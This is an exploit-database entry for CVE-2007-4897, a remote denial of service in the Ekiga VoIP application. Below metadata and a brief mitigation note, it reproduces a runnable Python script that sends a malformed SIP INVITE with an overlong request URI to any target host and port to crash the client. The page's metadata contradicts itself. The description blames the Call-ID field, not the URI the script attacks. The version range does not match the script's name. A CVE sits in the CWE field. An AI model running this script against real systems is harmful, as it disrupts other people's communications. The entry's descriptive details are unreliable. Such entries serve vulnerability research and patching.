Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)

vendor:

Ekiga

by:

Jose Miguel Esparza

7,8

CVSS

HIGH

Remote Denial of Service

CWE

Product Name: Ekiga

Affected Version From: 3.0.0

Affected Version To: 3.0.2

Patch Exists: YES

Related CWE: CVE-2007-4897

CPE: a:ekiga:ekiga

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-CESA-2007-0932/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2007-0932/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2007

Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)

Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897) is a vulnerability in Ekiga, an open source VoIP and video conferencing application, which allows remote attackers to cause a denial of service (application crash) via a malformed SIP INVITE request with a long Call-ID field.

Mitigation:

Upgrade to the latest version of Ekiga, or apply the patch from the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs

import sys,socket

if len(sys.argv) != 3: 
	sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
		   "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
		   "Contact:sip:pepe@172.91.1.133:5060\r\n"+\
		   "Content-Length:417\r\n"+\
		   "Content-Type:application/sdp\r\n"+\
		   "CSeq:4321 INVITE\r\n"+\
		   "From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
		   "Max-Forwards:70\r\n"+\
         "To:sip:paco@micasa.com\r\n"+\
         "Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"		 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# milw0rm.com [2009-07-24]